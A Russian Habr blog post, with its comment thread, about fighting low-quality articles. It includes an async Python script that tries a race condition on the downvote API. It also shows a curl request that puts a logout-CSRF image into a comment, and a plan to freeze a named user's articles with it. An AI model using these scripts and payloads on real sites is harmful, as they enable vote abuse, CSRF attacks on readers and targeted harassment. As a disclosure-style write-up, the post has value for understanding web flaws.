![](https://habrastorage.org/getpro/habr/upload_files/764/517/49d/76451749da191f5c687438930a4fba20.jpg)
Я помню тот старый Хабр. Логотип был похож на комок шерсти после отрыжки кота, я писал какие-то наивные статьи и мне казалось, что я очень крут (нет), а народ пилил годные технические полотна текста, и чтобы узнать инфу про чёрные точки на лице, нужно было посещать другие сайты. Это было прикольно.
Потом что-то пошло не так, начали появляться какие-то полутехнические статьи, и (далее моя интерпретация событий) чтобы сохранить Хабр, всех нетехнических писателей заманили в один корабль и отправили куда подальше на гиктаймс - подобно тому, как врач ампутирует руку пациенту, чтобы спасти жизнь. В данном случае, правда, врач подержал эту руку, посмотрел на неё, а потом пришил обратно. Что из этого вышло?
Ну зайдите в ленту, выберите "всё подряд" и увидите.
Проблема
Вы всё сами знаете, но я всё равно расскажу персонально для Хабр и Ко. Мы тут вроде голосуем, выбираем что-то годное, но поток бессмысленных и беспощадных статей всё равно больше. У меня конкретно горит, потому что я свои статьи вынашиваю, как детей, по несколько месяцев, собираю инфу, делаю фактчеки, чтобы не обосраться перед специалистами, постоянно удаляю что-то, потому что тупой и неправ... А потом открываю вот это, а там тысяча статей! Чувак просто берёт всё, вообще всё, до чего дотянется, переводит и постит в надежде, что что-нибудь выстрелит. Какой там фактчек, это же перевод, никто не прикопается - мопед ведь не автора, он просто разместил объяву перевод!..
![](https://habrastorage.org/getpro/habr/upload_files/939/5fa/520/9395fa5205174041fbf489266fd1d1ff.jpg)
Короче, этот чувак мне даже нравится, потому что удобно олицетворяет то, что я отрицаю: низкосортный контент на потоке. Поэтому простите: мне надоело делать это вручную, и я написал скрапер для автоматического минусования статей @MaxRokatansky
И чо?
Ну да, вообще ничего такого в этом нет. Как только программист рождается, он сразу пишет свой первый парсер, так что обсуждать нечего.
И тем не менее.
Я открываю правила сайта и читаю:
От величины кармы напрямую зависит то, сколько раз в сутки пользователь может проголосовать за карму, публикации и комментарии других участников сообщества. Арифметика простая: 1 единица кармы = 1 голос в сутки, который можно отдать за карму или публикацию, либо 2 голоса за комментарии. Например, если пользователь достиг показателя кармы в +50 единиц, то в сутки он сможет 50 раз проголосовать за карму и публикации, и 100 раз за комментарии. Если он израсходует этот заряд, то для возобновления возможности голосования ему потребуется подождать 24 часа.
Итак, у меня карма 200+, значит я могу 200 раз проголосовать за статьи, так?
![](https://habrastorage.org/getpro/habr/upload_files/b46/ef2/d35/b46ef2d35e7c220d1ff5f34099e02f08.jpg)
Оказывается, Хабр - это типа прекрасная страна фей: можно 200 раз проголосовать положительно, но вот отрицательно - только 10 раз, потом вас банят на сутки и проголосовать вообще нельзя, даже как фея (в смысле, поставить +1). Какого хрена вообще? Это как если бы мне дали 100 рублей, но тратить их них я мог бы только 5. Зачем тогда?
Да, в принципе мне хватало, чтобы минусовать безумного Макса, но вот троих безумных Максов я бы уже не вывез, а планы по очистке Хабра у меня были грандиозные.
И я взбесился.
Паралелизэйшын
Должен был быть способ, чтобы голосовать больше 10 раз.
Я стал изучать запросы к сайту в консоли Vivaldi. Очень скоро стало понятно, что взимодействие с сайтом идёт через API https://habr.com/kek/v2
. Никакого openapi и тем более swagger'а я не обнаружил, поэтому стал просто смотреть, что вообще есть.
Больше всего меня интересовал запрос POST https://habr.com/kek/v2/articles/{post}/votes/down
- понижение рейтинга статьи. 10 раз в сутки - лимит. Как его обойти?
Я давно слышал, что есть одна тема с гонкой... Вот 100 моих запросов на минусование статей. Если они одновременно поступят на бэкенд и спросят "сколько осталось минусов у этого кожаного мешка?", то, при достаточно плохих программистах, писавших сайт, бэкенд одновременно 1000 раз запросит БД, получит одинаковый ответ, и запросы выполнятся, после чего уже будут записаны факты минусования. То есть нужно очень быстро сделать много запросов, чтобы проверка на лимит запросов произошла до их завершения.
Для этого я написал скрипт на питоне. Чтобы это было быстро, я использовал async и делал последующий запрос, даже не дожидаясь ответа для предыдущего. Вот такой код:
COOKIES = {c['name']: c['value'] for c in json.load(open('cookies.json'))}
API_URL = 'https://habr.com/kek/v2'
async def vote(session, post: int) -> aiohttp.ClientResponse:
url = f'{API_URL}/articles/{post}/votes/down'
log.debug(url)
return session.post(url, json={'reason': '6'})
async def shoot(posts):
log.debug(f'Total {len(posts)}')
async with aiohttp.ClientSession(cookies=COOKIES) as session:
log.debug('Warm up')
response = await session.get('https://habr.com/ru/company/otus/blog/595343/')
assert response.status == 200
html = await response.text()
csrf_token = re.search(r'<meta name="csrf-token" content="(.+?)">', html)[1]
log.info(f'{csrf_token=}')
session.headers['csrf-token'] = csrf_token
tasks = [
asyncio.create_task(vote(session, post))
for post in posts
]
coroutines = await asyncio.gather(*tasks)
responses = []
for coro in coroutines:
response = await coro
responses.append(response)
results = []
for i, response in enumerate(responses):
data = await response.read()
result = posts[i], response.status, data.decode('utf8')
log.debug(result)
results.append(result)
json.dump(results, open('results.json', 'a'), indent=4)
with open('posts.txt') as file:
lines = file.read().split('\n')
posts = [line.rsplit('/', maxsplit=2)[-2] for line in lines if line.strip() and not line.startswith('#')]
assert all(int(post) for post in posts)
asyncio.run(shoot(posts))
Я зарядил 100 статей, и пошла артиллерия...
2021-12-21 23:58:39,296 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,296 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,296 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,296 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,299 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,299 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,299 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,299 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,299 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,299 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,299 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
Все запросы уложились, наверно, в 10 мс.
И тут я обломался: это не работало. Более того, если я посылал 10 запросов на минусование одного и того же поста, то первый отрабатывал, остальные 9 возвращали already voted, и меня всё равно банили, хотя я по факту ставил только один минус. Полный провал.
Возможно, я был недостаточно быстрый. Можно было переписать на nim - он компилируется и там тоже есть async - и запустить поближе к серверам Хабра, но это показалось мне слишком мутным решением без гарантии результата.
Логаут
Проблема меня зацепила. Я должен был остановить Макса, но не знал, как. Это была навязчивая идея, я постоянно думал над этим.
Одним вечером я решил конкретно изучить API Хабра. Если вы почитаете истории взломов, то узнаете, что сервисы обычно хакают через какой-нибудь левый функционал, который используют 3.5 человека в год. Что-то такое, например, было в azure Jupyter notebooks. Смысл в том, что основной функционал тестируют как следует, а на хрен-знает-что разрабы тратят гораздо меньше времени.
На Хабре самое главное - постинг статей, поэтому искать что-то там я не стал, а просто стал лазить по разделам сайта с открытыми Dev tools. И внезапно, даже без них, увидел вот что:
![](https://habrastorage.org/getpro/habr/upload_files/f64/3a8/6f5/f643a86f526497ea6f5d9d0a61a43f81.jpg)
Да, это оно и есть: при наведении на кнопку выхода появляется ссылка, то есть для выхода браузер делает GET
запрос. Ещё раз: GET
запрос (без подтверждения) для действия, меняющего состояние!
Золотая классика - это вставлять такие ссылки в тег <img>
, чтобы запрос выполнялся при загрузке картинки.
Я попробовал вставить такую картинку в статью из черновиков. Новый редактор для этого не очень удобен, поэтому я открыл старую версию и сделал всё там. При заходе в просмотр статьи меня разлогинивало - браузер видел картинку, пытался загрузить её с адреса https://habr.com/kek/v1/auth/logout2/
, что вызывало выход из аккаунта. Визуально ничего не менялось, аватарка оставалась на месте, но ничего сделать уже было нельзя - комменты и лайки недоступны неавторизованным юзерам. После обновления странички я видел, что уже вышел из аккаунта.
![](https://habrastorage.org/getpro/habr/upload_files/f1b/4ef/a6a/f1b4efa6a2b179a120d79ff1a69613d5.jpg)
Сначала я хотел запостить статью с такой картинкой в конце, но потом подумал, что это тупейшая моя идея, потому что никто ничего не сможет сделать - ни рейтинг изменить, ни коммент поставить. Можно ли это провернуть с чужой статьёй?..
Это же технический ресурс! Конечно, можно!
Вроде картинки можно прикреплять к комментам. Я открыл пост друга и посмотрел, какой запрос браузер делает в момент отправки коммента. И добавил в запрос свою картинку.
curl 'https://habr.com/kek/v2/articles/533420/comments/23977309' \
# ...
-H 'csrf-token: ...' \
-H 'Cookie: ...' \
--data-raw '{"isMarkdown":true,"text":{"source":"{\"type\":\"doc\",\"content\
":[{\"type\":\"paragraph\",\"attrs\":{\"align\":null,\"simple\":false,\
"persona\":false},\"content\":[{\"type\":\"text\",\"text\":\"А есть ли
возможность запускать другие скриптовые языки? Не луа, а питон, например :>\"}]},
{\"type\":\"image\",\"attrs\":{\"src\":\"https://habr.com/kek/v1/auth/logout2/\",
\"title\":null,\"customClass\":\"image\",\"border\":false,\"float\":false,
\"fullWidth\":false,\"inserted\":false,\"width\":5,\"height\":5}},
{\"type\":\"paragraph\",\"attrs\":{\"align\":null,\"simple\":false,
\"persona\":false}}]}","editorVersion":2},"parentId":"23977309","timestamp":
1642886718748}'
Извини, Паша, твою статью больше никто не откомментирует.
Видюшка с proof-of-concept
Итак, вот мой план по ликвидации @MaxRokatansky с Хабра:
Создаю аккаунт без персональных данных и через vpn
Пишу статью, чтобы набрать рейтинг - поверьте, в моей голове есть идеи 8)
Пишу скрипт, проверяющий посты Макса каждую минуту
Если есть новый пост, то я (опционально) ставлю минус, отправляю комментарий с хвалебными речами и моей картинкой
В итоге у статьи 0 (или -1) и она заморожена: её можно посмотреть, но нельзя комментировать или менять рейтинг
Или можно следить за рейтингом через апи и постить деструктивный коммент через определённый промежуток времени, чтобы ограничить рост на нужном значении рейтинга (хотя с Максом, хех, это и не нужно, да и вообще не вижу смысла морозить чью-либо хорошую статью)
Запостить можно в середине какого-нибудь треда, чтобы никто не догадался (но желательно ближе к началу, потому что вдруг lazy loading?) :>
Вот такой нехитрой логикой можно заморозить вообще всё.
И как только я всё это осознал, когда я понял, что могу надёжно заминусовать или занулить поток этих говностатей и раздолбать этот дурацкий OTUS и кого угодно вообще - мне почему-то стало на них абсолютно наплевать.
Нет, ну вы представляете!
Если вам нравится то, что я пишу, то буду чертовски рад вам в моей группе: Блог Погромиста. Обожаю каждого подписчика.
И как всегда актуальный опрос:
Комментарии (169)
Drag13
24.01.2022 18:07+14Зачет. Странно что ни разу не натыкался на лимит минусов. Наверное редко ставил больше 10.
А для себя сделал, проще, написал расширение которое позволяет скрывать авторов, блоги и отдельные хабы. Даже статья об этом была.
gecube
24.01.2022 18:18+2я тоже натыкался на лимит минусов... я так понимаю, это и для комментов, и для статей (репутации авторов) работало. Наверняка, алгоритм можно обмануть - тупо плюсую и минусуя поочередно, не знаю
kt97679
24.01.2022 19:02+9Некоторое время назад пробовал чередовать — не работает, все равно прилетает блокировка.
ru1z
24.01.2022 19:25+1Вряд ли здесь есть какой-то хитрый алгоритм. Скорее всего, нужно не «чередовать», а ставить плюсы чаще, чем минусы. Во всяком случае, в других случаях современный хабр не ограничивает плюсование, в отличие от минусов (которые огорожены в ряде случаев).
vsh797
25.01.2022 13:28+3По ощущениям там используется проверка на количество минусов в единицу времени. Превышаешь — блокировка на сутки.
AnthonyMikh
26.01.2022 15:40-1Во всяком случае, в других случаях современный хабр не ограничивает плюсование
Ограничивает, и я лично с подобным лимитом уже сталкивался.
LuigiVampa
27.01.2022 15:24+3Пользуюсь вашим плагином, без него уже хабр и не открываю. Спасибо вам большое!
В целом, мне кажется что ситуация когда я должен ставить в браузер специальное расширение для того чтобы видеть технические статьи в общей ленте на сайте для технических статей не является нормальной.
zorn-v
24.01.2022 18:09-3Ну вообще кармодроч мне противен (вы можете писать раз в час).
И даже что то хотел порицающее написать (типа "зачем" ?)
Но с каждой строчкой ПЛЮС ОДИН ВАМ В КАРМУ ))))
TheRaven
24.01.2022 18:14+83Годнота, продолжайте. Прям глоток свежего воздуха среди бесконечных переводов всего интернета и «смотрите, у меня есть тридэпринтер, я распечаталь!» в корпоративных блогах.
phanerozoi_evidence
24.01.2022 19:57-46Ну согласен глоток свежего воздуха, только проблема в том, что у вас так-то годноты очень и очень мало, именно поэтому вы же не можете написать хорошую статью о «яраспечаталь! И вынуждены из угла гавкать. Ну зависть, все понимаю=)
TheRaven
24.01.2022 20:01+19«Сперва добейся»? Штош.
Если вы хотите почитать про моё «я распечаталь», то у меня есть для вас ссылка. Вот только я прекрасно понимаю, что мои статьи для хабра не формат и не тащу их сюда.phanerozoi_evidence
24.01.2022 20:11-21При чем здесь "я добейся". У вас ваши технические статьи достаточно скучные, я не скажу, что прям совсем слабые, но проходные, как моя статья про щитня к примеру. А на счет формата, то вообще-то есть профильные хабы под * куда попадают и 3D принтеры и 3D гоафика и это прям канон. Наша недавняя статья это прям техническая статья. И там кстати не только "просто распечатай", просто распечатай это вот вы советовали под одной из наших статей, здесь овер.много ручной работы и столько же работы над статьей, которая вынашивалась далеко не один день
TrashboxBobylev
24.01.2022 20:33+21Вам бы говорить о технических статьях, когда ваш коллектив может только в биологию.
phanerozoi_evidence
24.01.2022 20:39-14Да вы что? Наши авторы пишут о биоинформатике, писали о разработке игры и о 3D графике и крафте по гиковскому. Мы умеем связывать и биологию и it. Вот например https://habr.com/ru/company/ruvds/blog/598707/
phanerozoi_evidence
24.01.2022 20:45-19Мы то как раз можем в технические статьи, но я очень не уверен, что часть технических авторов смогут в биологию, если захотят. К слову, у нас будет ответвление ФанероСтрой, где как раз будет много технического=)
0xd34df00d
25.01.2022 04:03+28А какой уровень технических статей — норм, чтобы негативно говорить о некоторых местных авторах? Я вот могу, например, или мне тоже надо ещё перед этим поработать над собой?
phanerozoi_evidence
24.01.2022 20:24-18Аргумент в духе "я не тащу сюда свои статьи о 3D принтерах" мало вероятно говорит о том, что вы не тащите их сюда, чтобы сохранить этакую девственность хабра, как сугобо сайта, на котором пишут исключительно только о коде программирования, ибо это не так уже очень давно. Я знаю уже довольно многих здесь старичков и пришел к выводу, что у итишников уже очень давно интересы сильно расширились. Написание кода программы для дизлайков негодных и так называемая игра на багах, это борьба с ветрянными мельницами. Я думаю, что вы не тащите свои статьи о "яраспечататаль" сюда только по одной причине– потому что знаете, что на выходе вы сделаете очередную заезженную и скучную статью про аську. Одно дело уметь печатать, надо уметь еще об этом писать. Это все с опытом приходит на самом деле.
serginfo2009
24.01.2022 21:59+34Я вообще ни на что не намекаю и ни к чему не призываю, но говорить пользователям, что они "гавкают" - верный способ получить картинку-убийцу в комментарии. Ну или прослыть грубияном, что намного хуже, чем картинка.
phanerozoi_evidence
24.01.2022 22:59-28Лучше быть честными и хорошими людьми, пускай и быть грубиянами, чем воспитанными и лицемерными лайками. Подобные пользователи вечно бегают из статьи в статью с лаем, засматриваясь в огород к более успешным авторам, чем они сами. Это не первый случай, кстати, когда подобные гражданину выше, издают писк с намеками про фанерозой, или кота к примеру. Одни и теже лица. Одни и те же сопли и слезы, что дескать мы такие плохие и разрушаем ресурс детскими энциклопедиями, люпинами и тараканами. Ну дак в чем проблема самим написать техническую статью, чаще чем раз в год к слову? Мы биологи и то в техническое можем и показываем это. Как говорится собаки лают, а караван идет. Я могу человек 30 плачущих по пальцам назвать. Всех подобных критиков, которые жить без упоминания нас не могут. Ну свербит у них шило в одном месте, а как так-то, а почему мы здесь? Почему нас читают? У них ферма ботов и саморегуляция. Ога, ога, тогда у товарищей врунишек творческая ипотенция получается. А картинка-убийца— тобишь бан, как любит говорить гражданин, фанат одного живого ископаемого из мира растений, не всегда здесь правит балом. Тем более никого не оскорбил, а ресурс это не только модерация.
Areso
24.01.2022 23:53+26Проблема в том, что написать техническую статью может и не очень долго; но вот опыт для этой статьи обычно нарабатывается не день и не два. Каждая статья - пережитый опыт. Проблема, поиск решения, общая оценка ситуации постмортем.
Поэтому фигачить хорошие технические статьи в нужных объемах просто не получится ни у кого. Нельзя сравнивать хороший рерайт или переводы, которые не требуют пережития собственного опыта, и статьи про грабли. Ни у одного редактора или переводчика столько граблей в запасе нет.
phanerozoi_evidence
25.01.2022 00:01-11Поэтому фигачить хорошие технические статьи в нужных объемах просто не получится ни у кого.
ага конечно. Хорошему автору раз в два месяца хотябы ничего не мешает публиковаться. Здесь полно хороших технических авторов, которые публикуются довольно часто.
gecube
25.01.2022 00:15+13Здесь полно хороших технических авторов, которые публикуются довольно часто.
И нет никаких пруфов, что пишут именно они, а не коллектив авторов. Или кто-то заранее подготовился - сделал десяток черновиков, а потом публикует их с частотой раз в месяц. На годик хватит. Это не означает, что нет "серийных авторов", но хорошая статья это реально куча времени. А не так - тяп-ляп и готово. И в случае выбора между проф развитием и написанием статьи выбор очевиден (((
phanerozoi_evidence
25.01.2022 00:46-9Ну обычно видно, когда одиночный автор. Вот мы, это да коллектив авторов, но у нас сразу об этом написано.. Но сразу скажу, статью про принтеры мы с Kesh Corvus делали на пару, я очень многое редачил, он писал техническую часть. И она делалась не на тяп ляп. При чём наш трицератопс писался ну три недели получается и эта статья ранее нигде не появлялась. Это не считая того сколько делался сам трицератопс. Плюс каждую статью, которую я сюда публикую кросспостингом, я стараюсь перепроверять и дополнять. Т.е. да у нас есть некоторые статьи кроспостингом, но даже они делаются минимум неделя. Мы так называемые серийные авторы, которые стараются писать качественно. И вкладываем душу в наши статьи, каждый наш автор. Вот была у нас статья про птиц -динозавров, там картинки только около трех недель рисовались и не в коммерцию. Авторами были Саша и я - Самир. Серийный автор говорите, ну да серийный. Только серийный-серийному рознь. Касаемо ссылки в слове "ага" я не могу сказать, что Сергей Длинный - серийный автор, он как раз таки один и таких авторов как он здесь полно. Нет доказательств, что человек, который активно ведёт и ютуб блог - ведёт его не сам. Я прекрасно понимаю, что хорошая статья, это куча времени. Я сам с трицератопсом тем же намучался, чтобы и стиль текста был красивым, до конца не вышло. Касаемо проф. развития, что мешает авторам писать лучше в своей стязи? Я не поверю, что на одну статью требуется более 6 лет, это диплом что ли?
gecube
25.01.2022 00:54+12По ссылке ага автор фигачит по тексту в неделю. Как бы достаточно много. Я понимаю там - раз в два-три месяца, когда муза найдёт. Плюс вычитка. Плюс иллюстрации. Но невозможно фигачить много и качественно (если ты не профессиональный автор, но если ты профессиональный автор, то какой ты айтишник - тяжело быть суперспецом сразу в нескольких областях). Ну, и как говорится - исключения подтверждают правило ) нормальное распределение никуда не делось.
И, да, я слышал про рынок литературных негров. Он действительно существует. Как к нему относиться - это второй вопрос.
phanerozoi_evidence
25.01.2022 01:22но если ты профессиональный автор, то какой ты айтишник - тяжело быть суперспецом сразу в нескольких областях)
Ну скажем так, Сергей it специалист свободного полёта, т.е. я не думаю, что он постоянно только и делает, что кодит, нет конечно, особенно, если ты становишься проф. автором, а он как раз такой. Кстати с Сергеем я общаюсь сейчас лично, там у него и фанерозоя, точнее одного из нашей команды совместка намечается. Она да очень долго делается, но есть статьи, которые не требуют от тебя писанины месяцами - неделю, или две вполне достаточно, особенно, если эти статьи становятся вторым твоим хлебом, но чтоб тебя кормили вкусным хлебом, ты должен делать вкусную статью. Не нравится Сергей, есть зелёный кот и этот человек прям трудяга из трудяг, да он не ит, но делает качественные статьи и нет у него негров. На хабрахимика негры работают?. Вы поймите, что если, Вам писать доставляет удовольствие и это ещё очень высоко ценится, то волей и не волей будешь стремиться писать. Не отрицаю, что есть здесь скрытые серийные авторы, но всё-таки я знаю, достаточно многих людей, которые по продуктивности и по качеству переплюнут всю нашу команду авторов раза в три и у них нет негров и нет они не команда самых близких друзей.
tyomitch
25.01.2022 12:17+5И нет никаких пруфов, что пишут именно они, а не коллектив авторов. Или кто-то заранее подготовился — сделал десяток черновиков, а потом публикует их с частотой раз в месяц.
Вы видите в этом что-то плохое? Думаю, если вы сами наймёте коллектив авторов и будете каждый день постить по годной технической статье — все только рады будут.
Мне кажется дичайшей демагогией, что разговор о качестве статей phanerozoi_evidence уводит в разговор об их количестве, а вы за ним следуете. Meklon вон больше года ничего не публиковал от своего имени — разве это умаляет его авторитет?phanerozoi_evidence
25.01.2022 13:30-7@tyomitchпри всем моем уважении к вам, но аппеляция к авторитету, в данном случае к авторитету @Meklon мне кажется еще более дикой демагогией, ибо во-первых, я не припоню, чтобы данный автор голословно критиковал наши статьи про 3D печать и любые другие статьи по 3D в духе: "зачем это здесь", во-вторых, если он критиковал, то ему было что предложить взамен, он мог подсказать и дать совета, он мог дать жесткую критику, но это была критика, а не слезы оскорбленного неизвестно чем пользователя. В-третьих, когда я говорю о количестве, я говорю о количестве качественных статей, а не увожу качество - в количество, скорее всего Вам действительно показалось. Более того в данном случае речь идет о том, что есть N-ый пользователь, к слову автор, который постоянно кричит о качестве и хочет чтоб его было много, но.... Критикуешь— предлагай, но давайте зайдем к этому N-му пользователю и сравним, например его статью с аськой к примеру и нашу статью о разработке игр? Помоему все ясно.
Вы видите в этом что-то плохое? Думаю, если вы сами наймёте коллектив авторов и будете каждый день постить по годной технической статье — все только рады будут.
Мне думается, что уважаемый @gecube имеет ввиду, что автор, если он серийный должен быть честным, т.е. должно быть написано, что это коллектив авторов, или же если автор скрывает, что за него пишут много людей– это обман читателей. Люди думают, что пишет один автор, становятся фанами этого автора, а сам автор и двух слов связать не может. Да ресурс получает качественный контент, только негр в тени, а славу получает неумеха.
Meklon
25.01.2022 19:57+7Договорились, следующий пост от меня про 3D-печать
phanerozoi_evidence
25.01.2022 20:02-4Вау, не ожидал, что все же ответите. Может потом совместку с нашим автором не хотите?
Meklon
25.01.2022 21:07+4Нет, я думаю, что от себя опубликую. Я и так под корпоративные блоги весь год писал.
Meklon
25.01.2022 19:56+2Спасибо) я просто со сменой работы тут немного офигел от нагрузки и пока не могу найти время.
Yix
26.01.2022 04:27+10Бытует мнение, что если каждый будет писать больше статей — то Хабр станет только лучше.
Но я вижу ситуацию иначе: увеличение количества не качественных или совсем_не_тематических статей приводит к тому, что хорошие статьи теряются из виду — просто тонут в непрерывном потоке шлака.
Да так, что порой помнишь — была конкретная статья, ищешь по ключевым словам — в результатах поиска десятки страниц «новостей_из_мира_технологий».
Плевать что флудеры в результате получают кармы и плюсов в дестки или сотни раз больше чем авторы стоящих публикаций.
Но ресурс вырождается: хочешь почитать что-то интересное, но прочитав 7 страниц заголовков и странных картинок утомляешься от обилия информации и закрываешь сайт, не добравшись до заинтересовавшей бы тебя статьи, которая вышла, но осталась не замеченой.
В результате многие пользователи заходят все реже или даже уходят и без них авторов хороших статей становится меньше, а авторы-флудеры все прибывают, иногда даже не подозревая о чем был этот сайт.
Хотя о чем я говорю — тоже самое происходит и с самой IT-сферой, а то и со всей инженерией. Раньше был ответственный подход: старались делать законченные продукты, при обнаружении проблем — фиксили и стабильная версия жила, пока выполняла свои функции. Сейчас же успех — это не делать качественно, а чаще выпускать новую версию с новым интерфейсом, и пусть там баги хоть по 5 лет не фикшены из релиза в релиз мигрируют — теперь перманентно сырое и ненадежное как норма.
Похоже на трагедию общин… или на то что я стал старым, ведь самолёты пока летают)Alex_Mtrskn
26.01.2022 08:17+3Я это на Хабре ещё лет пять назад точно читал) вот почти слово в слово. Я это к чему? Раньше и мороженое были вкуснее и женщины доступнее
phanerozoi_evidence
26.01.2022 09:24+1Прикол в том, что люди также порой утверждают, что лет 5ть-6ть назад хабр был настолько другой, что статьи были только об it, но история статей говорит иначе. Вот пример
0xd34df00d
26.01.2022 19:34+3Сможете показать хоть одно утверждение, что лет 5-6 назад статьи были только об айти? Я таких утверждений не встречал.
phanerozoi_evidence
26.01.2022 19:40+2Так-то могу, но мне искать эти комментарии, если честно влом, я же их не скринил, но я реально встречал такие. Дескать на хабре 5ть-6ть лет назад все было подругому, прямо трушный сайт об it, а не для итишников.
0xd34df00d
26.01.2022 22:37+3И «трушный сайт об it» означает «нет ни одной статьи не об it»? Ну ок.
Такое утверждение в этом треде не высказывалось, но если охота с ним спорить — кто ж запретит, конечно. Не очень понятен смысл, правда, но это другой вопрос.
phanerozoi_evidence
26.01.2022 22:47+2Такое утверждение в этом треде не высказывалось
А я говорил слово про ЭТОТ тред. Я говорю, что люди ПОРОЙ также утверждают. Я не говорил, что это ЗДЕСЬ под этой статьей. Под этой статьей, такого нет.
Popadanec
26.01.2022 11:33+4Пять лет назад я тоже тут был и тогда ситуация не достигла сегодняшних масштабов. Что народ настолько устал и не ждёт ничего хорошего от администрации, что сам пишет плагины для фильтрации публикаций/авторов.
Alex_Mtrskn
26.01.2022 12:10+2да все то же было - вечное нытьё, что хабр заполонили непрогеры и пишут на интересные им темы. поэтому то и был выделен отдельный проект гиктаймс (не 5 лет назад даже, а больше уже вроде прошло)
Popadanec
26.01.2022 13:27+1А потом зачем то опять смешали в кучу, сделав неудобно для прогеров и для не прогеров.
phanerozoi_evidence
26.01.2022 18:24-4Потому что для хабра и большинства прогеров и не прогеров лучше чтоб было все вместе и это правильно. Если слушать вечное нытье , вот тогда хабр будет не торт
phanerozoi_evidence
26.01.2022 18:31плагины для фильтрации публикаций/авторов.
А на счет этого поищите в поисковике хабра. Можно и за 2016 найти подобное. Это проблема зеленой травы была и тогда, не удивлюсь, что и раньше была. Некоторые люди из-за консерватизма ума не могут принимать новые правила игры и им только и остается жаловаться на то, что раньше было лучше. Так было всегда и не только на хабре. Типичное людское поведение свойственное всем на самом деле в той, или иной степени
Popadanec
26.01.2022 20:05+3Проблема в том что некоторые корп. блоги пишут обо всём подряд и пишут много. Замутить весь блог, значит пропустить кучу публикаций, которые могли заинтересовать.
А забивать список авторов слишком долго и нудно. Т.к. у многих пара тройка публикаций вообще или в год. Проще от Хабра отказаться. Тем более благодаря направленным действиям администрации в последние годы, зависимость от него практически ушла.
phanerozoi_evidence
26.01.2022 20:39+3Проблема в том что некоторые корп. блоги пишут обо всём подряд и пишут много.
На самом деле да, было бы неплохо реализовать систему скрытия авторов. Тогда в принципе проблема решится. Например, люди не хотят читать фанерозой ( хотя у нас в корп. блоге в основном приближающееся к техническому), взяли и скрыли нас. И нам хорошо и люди счастливы.
Areso
25.01.2022 00:16+7Раз в два месяца это одно. Некоторые тут публикаются раз в день.
Итого соотношение 1 к 60.
phanerozoi_evidence
25.01.2022 00:06+2Проблема в том, что написать техническую статью может и не очень долго; но вот опыт для этой статьи обычно нарабатывается не день и не два.
Тоже самое можно сказать про любую статью, ибо хороший перевод, это тоже опыт, человек который делает перевод, должен понимать о чем текст и следовательно он тоже переживает опыт. Поэтому это высказывание слишком категорично
gecube
25.01.2022 00:13+3Все что Вы написали - не про Макса... увы... ну, и понятное дело, что вместо переводов лучше работу фигачить или англоязычные статьи на тот же медиум - выхлопа больше
phanerozoi_evidence
25.01.2022 00:54-5ну, а с этим никто не спорит. Просто я побухтел не про переводы. Равен и подобные ему время от времени бухтят про на нас, то прямо упоминая фанерозой, то косвенно, как сейчас про 3D принтеры, ведь сегодня "про распечатать" мы написали. Сравнивая нашу сатью с переводом низкого качества, когда у самого Равена по сути статьи проходные, ну тут я не выдержал, уж простите. Столько часов работы мы убили, чтоб некомпетентное мнение прочитать? Вот и написал ему.
Exosphere
25.01.2022 01:33+5@gecube@phanerozoi_evidence⛔ Раз, два, флуд закончили, обсуждение можно продолжить в личке.
0xd34df00d
25.01.2022 04:07+35Спрошу публично, так как это может быть интересно не только мне.
Короче, впервые вижу предупреждение от модераторов на тему флуда здесь в комментариях, что очень непривычно, учитывая, как часто обсуждения уходят ну очень далеко от изначальной темы. Есть какие-то правила на тему, чтобы вам в будущем не пришлось тратить моар нервных клеток на всякий флуд?
Exosphere
